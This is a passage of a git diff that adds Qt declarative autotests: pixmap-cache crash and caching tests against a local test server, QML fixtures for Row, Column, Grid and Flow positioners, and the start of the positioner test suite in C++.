+ QTestEventLoop::instance().enterLoop(10);
+ QVERIFY(!QTestEventLoop::instance().timeout());
+ }
+
+ for (int i=0; i<targets.count(); ++i) {
+ QDeclarativePixmap *pixmap = pixmaps[i];
+
+ if (i == cancel) {
+ QVERIFY(!getters[i]->gotslot);
+ } else {
+ if (pending[i])
+ QVERIFY(getters[i]->gotslot);
+
+ QVERIFY(pixmap->isReady());
+ QVERIFY(pixmap->width() > 0);
+ delete getters[i];
+ }
+ }
+
+ qDeleteAll(pixmaps);
+}
+
+void tst_qdeclarativepixmapcache::massive()
+{
+ QUrl url = thisfile.resolved(QUrl("data/massive.png"));
+
+ // Confirm that massive images remain in the cache while they are
+ // in use by the application.
+ {
+ qint64 cachekey = 0;
+ QDeclarativePixmap p(0, url);
+ QVERIFY(p.isReady());
+ QVERIFY(p.pixmap().size() == QSize(10000, 1000));
+ cachekey = p.pixmap().cacheKey();
+
+ QDeclarativePixmap p2(0, url);
+ QVERIFY(p2.isReady());
+ QVERIFY(p2.pixmap().size() == QSize(10000, 1000));
+
+ QVERIFY(p2.pixmap().cacheKey() == cachekey);
+ }
+
+ // Confirm that massive images are removed from the cache when
+ // they become unused
+ {
+ qint64 cachekey = 0;
+ {
+ QDeclarativePixmap p(0, url);
+ QVERIFY(p.isReady());
+ QVERIFY(p.pixmap().size() == QSize(10000, 1000));
+ cachekey = p.pixmap().cacheKey();
+ }
+
+ QDeclarativePixmap p2(0, url);
+ QVERIFY(p2.isReady());
+ QVERIFY(p2.pixmap().size() == QSize(10000, 1000));
+
+ QVERIFY(p2.pixmap().cacheKey() != cachekey);
+ }
+}
+
+// QTBUG-12729
+void tst_qdeclarativepixmapcache::cancelcrash()
+{
+ QUrl url("http://127.0.0.1:14452/cancelcrash_notexist.png");
+ for (int ii = 0; ii < 1000; ++ii) {
+ QDeclarativePixmap pix(&engine, url);
+ }
+}
+
+class MyPixmapProvider : public QDeclarativeImageProvider
+{
+public:
+ MyPixmapProvider()
+ : QDeclarativeImageProvider(Pixmap) {}
+
+ virtual QPixmap requestPixmap(const QString &d, QSize *, const QSize &) {
+ Q_UNUSED(d)
+ QPixmap pix(800, 600);
+ pix.fill(Qt::red);
+ return pix;
+ }
+};
+
+// QTBUG-13345
+void tst_qdeclarativepixmapcache::shrinkcache()
+{
+ QDeclarativeEngine engine;
+ engine.addImageProvider(QLatin1String("mypixmaps"), new MyPixmapProvider);
+
+ for (int ii = 0; ii < 4000; ++ii) {
+ QUrl url("image://mypixmaps/" + QString::number(ii));
+ QDeclarativePixmap p(&engine, url);
+ }
+}
+
+#ifndef QT_NO_CONCURRENT
+
+void createNetworkServer()
+{
+ QEventLoop eventLoop;
+ TestHTTPServer server(14453);
+ server.serveDirectory(SRCDIR "/data/http");
+ QTimer::singleShot(100, &eventLoop, SLOT(quit()));
+ eventLoop.exec();
+}
+
+#ifndef QT_NO_CONCURRENT
+// QT-3957
+void tst_qdeclarativepixmapcache::networkCrash()
+{
+ QFuture<void> future = QtConcurrent::run(createNetworkServer);
+ QDeclarativeEngine engine;
+ for (int ii = 0; ii < 100 ; ++ii) {
+ QDeclarativePixmap* pixmap = new QDeclarativePixmap;
+ pixmap->load(&engine, QUrl(QString("http://127.0.0.1:14453/exists.png")));
+ QTest::qSleep(1);
+ pixmap->clear();
+ delete pixmap;
+ }
+ future.cancel();
+}
+#endif
+
+#endif
+
+QTEST_MAIN(tst_qdeclarativepixmapcache)
+
+#include "tst_qdeclarativepixmapcache.moc"
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml
new file mode 100644
index 00000000..ee4e1048
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flow-testimplicitsize.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.1
+
+Rectangle {
+ width: 300; height: 200;
+
+ property int flowLayout: 1
+
+ Flow {
+ objectName: "flow"
+ layoutDirection: (flowLayout == 2) ? Qt.RightToLeft : Qt.LeftToRight
+ flow: (flowLayout == 1) ? Flow.TopToBottom : Flow.LeftToRight;
+
+ spacing: 20
+ anchors.horizontalCenter: parent.horizontalCenter
+ Rectangle { color: "red"; width: 100; height: 50 }
+ Rectangle { color: "blue"; width: 100; height: 50 }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml
new file mode 100644
index 00000000..ec1d6660
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest-toptobottom.qml
@@ -0,0 +1,44 @@
+import QtQuick 1.1
+
+Item {
+ height: 90
+ width: 480
+ property bool testRightToLeft: false
+
+ Flow {
+ objectName: "flow"
+ height: parent.height
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+ flow: Flow.TopToBottom
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 50
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml
new file mode 100644
index 00000000..7c124a3d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml
@@ -0,0 +1,43 @@
+import QtQuick 1.1
+
+Item {
+ width: 90
+ height: 480
+ property bool testRightToLeft: false
+
+ Flow {
+ objectName: "flow"
+ width: parent.width
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 50
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml
new file mode 100644
index 00000000..3dcbed11
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-animated.qml
@@ -0,0 +1,64 @@
+import QtQuick 1.1
+
+Item {
+ width: 640
+ height: 480
+ property bool testRightToLeft: true
+
+ Grid {
+ objectName: "grid"
+ columns: 3
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+ add: Transition {
+ NumberAnimation {
+ properties: "x,y";
+ }
+ }
+ move: Transition {
+ NumberAnimation {
+ properties: "x,y";
+ }
+ }
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ x: -100
+ y: -100
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ x: -100
+ y: -100
+ opacity: 0
+ color: "green"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ x: -100
+ y: -100
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ x: -100
+ y: -100
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ x: -100
+ y: -100
+ width: 50
+ height: 50
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-spacing.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-spacing.qml
new file mode 100644
index 00000000..f0373300
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-spacing.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+ Grid {
+ objectName: "grid"
+ columns: 3
+ spacing: 4
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 50
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/grid-toptobottom.qml b/tests/auto/declarative/qdeclarativepositioners/data/grid-toptobottom.qml
new file mode 100644
index 00000000..5d4c3373
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/grid-toptobottom.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+ Grid {
+ objectName: "grid"
+ rows: 3
+ flow: Grid.TopToBottom
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 50
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/gridtest.qml b/tests/auto/declarative/qdeclarativepositioners/data/gridtest.qml
new file mode 100644
index 00000000..929b7267
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/gridtest.qml
@@ -0,0 +1,42 @@
+import QtQuick 1.1
+
+Item {
+ width: 640
+ height: 480
+ property bool testRightToLeft: false
+ Grid {
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+ objectName: "grid"
+ columns: 3
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 30
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/gridzerocolumns.qml b/tests/auto/declarative/qdeclarativepositioners/data/gridzerocolumns.qml
new file mode 100644
index 00000000..169f9744
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/gridzerocolumns.qml
@@ -0,0 +1,40 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+ Grid {
+ objectName: "grid"
+ columns: 0
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "green"
+ width: 20
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "blue"
+ width: 50
+ height: 20
+ }
+ Rectangle {
+ objectName: "four"
+ color: "cyan"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "five"
+ color: "magenta"
+ width: 10
+ height: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml
new file mode 100644
index 00000000..3c95f53f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-animated.qml
@@ -0,0 +1,44 @@
+import QtQuick 1.1
+
+Item {
+ width: 640
+ height: 480
+ property bool testRightToLeft: false
+
+ Row {
+ objectName: "row"
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+ add: Transition {
+ NumberAnimation {
+ properties: "x";
+ }
+ }
+ move: Transition {
+ NumberAnimation {
+ properties: "x";
+ }
+ }
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ x: -100;
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "blue"
+ x: -100;
+ opacity: 0
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ x: -100;
+ color: "green"
+ width: 50
+ height: 50
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml
new file mode 100644
index 00000000..64bedb02
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal-spacing.qml
@@ -0,0 +1,31 @@
+import QtQuick 1.1
+
+Item {
+ width: 640
+ height: 480
+ property bool testRightToLeft: false
+
+ Row {
+ objectName: "row"
+ spacing: 10
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "red"
+ width: 20
+ height: 10
+ }
+ Rectangle {
+ objectName: "three"
+ color: "red"
+ width: 40
+ height: 20
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml
new file mode 100644
index 00000000..d35c02d5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/horizontal.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.1
+
+Item {
+ width: 640
+ height: 480
+ property bool testRightToLeft: false
+ Row {
+ objectName: "row"
+ layoutDirection: testRightToLeft ? Qt.RightToLeft : Qt.LeftToRight
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "red"
+ width: 20
+ height: 10
+ }
+ Rectangle {
+ objectName: "three"
+ color: "red"
+ width: 40
+ height: 20
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/propertychangestest.qml b/tests/auto/declarative/qdeclarativepositioners/data/propertychangestest.qml
new file mode 100644
index 00000000..3c95c4c2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/propertychangestest.qml
@@ -0,0 +1,39 @@
+import QtQuick 1.0
+
+Grid {
+ id: myGrid
+
+ width: 270
+ height: 270
+ x: 3
+ y: 3
+ columns: 4
+ spacing: 3
+
+ add: columnTransition
+ move: columnTransition
+
+ Repeater {
+ model: 20
+ Rectangle { color: "black"; width: 50; height: 50 }
+ }
+
+ data: [
+ Transition {
+ id: rowTransition
+ objectName: "rowTransition"
+ NumberAnimation {
+ properties: "x,y";
+ easing.type: "OutInCubic"
+ }
+ },
+ Transition {
+ id: columnTransition
+ objectName: "columnTransition"
+ NumberAnimation {
+ properties: "x,y";
+ easing.type: "OutInCubic"
+ }
+ }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml
new file mode 100644
index 00000000..f93ce67d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/repeatertest.qml
@@ -0,0 +1,38 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+ Row {
+ Repeater{ model: 3;
+ delegate: Component {
+ Rectangle {
+ color: "red"
+ width: 50
+ height: 50
+ z: {if(index == 0){2;}else if(index == 1){1;} else{3;}}
+ objectName: {if(index == 0){"one";}else if(index == 1){"two";} else{"three";}}
+ }
+ }
+ }
+ }
+
+ //This crashed once (QTBUG-16959) because the repeater ended up on the end of the list
+ //If this grid just instantiates without crashing, then it has not regressed.
+ Grid {
+ id: grid
+ rows: 2
+ flow: Grid.TopToBottom
+
+ Repeater {
+ model: 13
+ Rectangle {
+ color: "goldenrod"
+ width: 100
+ height: 100
+ radius: 10
+ border.width: 1
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/vertical-animated.qml b/tests/auto/declarative/qdeclarativepositioners/data/vertical-animated.qml
new file mode 100644
index 00000000..8899ac83
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/vertical-animated.qml
@@ -0,0 +1,41 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+ Column {
+ objectName: "column"
+ add: Transition {
+ NumberAnimation {
+ properties: "y";
+ }
+ }
+ move: Transition {
+ NumberAnimation {
+ properties: "y";
+ }
+ }
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ y: -100
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "blue"
+ y: -100
+ opacity: 0
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "three"
+ color: "red"
+ y: -100
+ width: 50
+ height: 50
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/vertical-spacing.qml b/tests/auto/declarative/qdeclarativepositioners/data/vertical-spacing.qml
new file mode 100644
index 00000000..55789611
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/vertical-spacing.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+ Column {
+ objectName: "column"
+ spacing: 10
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "red"
+ width: 20
+ height: 10
+ }
+ Rectangle {
+ objectName: "three"
+ color: "red"
+ width: 40
+ height: 20
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/vertical.qml b/tests/auto/declarative/qdeclarativepositioners/data/vertical.qml
new file mode 100644
index 00000000..310d791d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/vertical.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+ Column {
+ objectName: "column"
+ Rectangle {
+ objectName: "one"
+ color: "red"
+ width: 50
+ height: 50
+ }
+ Rectangle {
+ objectName: "two"
+ color: "red"
+ width: 20
+ height: 10
+ }
+ Rectangle {
+ objectName: "three"
+ color: "red"
+ width: 40
+ height: 20
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/data/verticalqgraphicswidget.qml b/tests/auto/declarative/qdeclarativepositioners/data/verticalqgraphicswidget.qml
new file mode 100644
index 00000000..c320714f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/data/verticalqgraphicswidget.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
+ height: 480
+ Column {
+ objectName: "column"
+ QGraphicsWidget {
+ objectName: "one"
+ width: 50
+ height: 50
+ }
+ QGraphicsWidget {
+ objectName: "two"
+ width: 20
+ height: 10
+ }
+ QGraphicsWidget {
+ objectName: "three"
+ width: 40
+ height: 20
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepositioners/qdeclarativepositioners.pro b/tests/auto/declarative/qdeclarativepositioners/qdeclarativepositioners.pro
new file mode 100644
index 00000000..27e59485
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/qdeclarativepositioners.pro
@@ -0,0 +1,15 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qdeclarativepositioners.cpp
+macx:CONFIG -= app_bundle
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
new file mode 100644
index 00000000..31a49391
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
@@ -0,0 +1,1342 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtTest/QtTest>
+#include <private/qlistmodelinterface_p.h>
+#include <qdeclarativeview.h>
+#include <qdeclarativeengine.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativepositioners_p.h>
+#include <private/qdeclarativetransition_p.h>
+#include <private/qdeclarativeitem_p.h>
+#include <qdeclarativeexpression.h>
+#include <QtGui/qgraphicswidget.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativePositioners : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativePositioners();
+
+private slots:
+ void test_horizontal();
+ void test_horizontal_rtl();
+ void test_horizontal_spacing();
+ void test_horizontal_spacing_rightToLeft();
+ void test_horizontal_animated();
+ void test_horizontal_animated_rightToLeft();
+ void test_vertical();
+ void test_vertical_spacing();
+ void test_vertical_animated();
+ void test_grid();
+ void test_grid_topToBottom();
+ void test_grid_rightToLeft();
+ void test_grid_spacing();
+ void test_grid_animated();
+ void test_grid_animated_rightToLeft();
+ void test_grid_zero_columns();
+ void test_propertychanges();
+ void test_repeater();
+ void test_flow();
+ void test_flow_rightToLeft();
+ void test_flow_topToBottom();
+ void test_flow_resize();
+ void test_flow_resize_rightToLeft();
+ void test_flow_implicit_resize();
+ void test_conflictinganchors();
+ void test_vertical_qgraphicswidget();
+ void test_mirroring();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+private:
+ QDeclarativeView *createView(const QString &filename);
+};
+
+tst_QDeclarativePositioners::tst_QDeclarativePositioners()
+{
+}
+
+void tst_QDeclarativePositioners::test_horizontal()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 70.0);
+ QCOMPARE(three->y(), 0.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QCOMPARE(row->width(), 110.0);
+ QCOMPARE(row->height(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_horizontal_rtl()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 60.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 40.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 0.0);
+ QCOMPARE(three->y(), 0.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QCOMPARE(row->width(), 110.0);
+ QCOMPARE(row->height(), 50.0);
+
+ // Change the width of the row and check that items stay to the right
+ row->setWidth(200);
+ QCOMPARE(one->x(), 150.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 130.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 90.0);
+ QCOMPARE(three->y(), 0.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_horizontal_spacing()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 0.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 60.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 90.0);
+ QCOMPARE(three->y(), 0.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QCOMPARE(row->width(), 130.0);
+ QCOMPARE(row->height(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_horizontal_spacing_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-spacing.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ QCOMPARE(one->x(), 80.0);
+ QCOMPARE(one->y(), 0.0);
+ QCOMPARE(two->x(), 50.0);
+ QCOMPARE(two->y(), 0.0);
+ QCOMPARE(three->x(), 00.0);
+ QCOMPARE(three->y(), 0.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QCOMPARE(row->width(), 130.0);
+ QCOMPARE(row->height(), 50.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_horizontal_animated()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", false);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
+ QDeclarativeRectangle *three = canvas->rootObject()->findChild<QDeclarativeRectangle*>("three");
+ QVERIFY(three != 0);
+
+ //Note that they animate in
+ QCOMPARE(one->x(), -100.0);
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(three->x(), -100.0);
+
+ QDeclarativeItem *row = canvas->rootObject()->findChild<QDeclarativeItem*>("row");
+ QVERIFY(row);
+ QCOMPARE(row->width(), 100.0);
+ QCOMPARE(row->height(), 50.0);
+
+ //QTRY_COMPARE used instead of waiting for the expected time of animation completion
+ //Note that this means the duration of the animation is NOT tested
+
+ QTRY_COMPARE(one->x(), 0.0);
+ QTRY_COMPARE(one->y(), 0.0);
+ QTRY_COMPARE(two->opacity(), 0.0);
+ QTRY_COMPARE(two->x(), -100.0);//Not 'in' yet
+ QTRY_COMPARE(two->y(), 0.0);
+ QTRY_COMPARE(three->x(), 50.0);
+ QTRY_COMPARE(three->y(), 0.0);
+
+ //Add 'two'
+ two->setOpacity(1.0);
+ QCOMPARE(two->opacity(), 1.0);
+
+ // New size should be immediate
+ QCOMPARE(row->width(), 150.0);
+ QCOMPARE(row->height(), 50.0);
+
+ QTest::qWait(0);//Let the animation start
+ QCOMPARE(two->x(), -100.0);
+ QCOMPARE(three->x(), 50.0);
+
+ QTRY_COMPARE(two->x(), 50.0);
+ QTRY_COMPARE(three->x(), 100.0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePositioners::test_horizontal_animated_rightToLeft()
+{
+ QDeclarativeView *canvas = createView(SRCDIR "/data/horizontal-animated.qml");
+
+ canvas->rootObject()->setProperty("testRightToLeft", true);
+
+ QDeclarativeRectangle *one = canvas->rootObject()->findChild<QDeclarativeRectangle*>("one");
+ QVERIFY(one != 0);
+
+ QDeclarativeRectangle *two = canvas->rootObject()->findChild<QDeclarativeRectangle*>("two");
+ QVERIFY(two != 0);
+
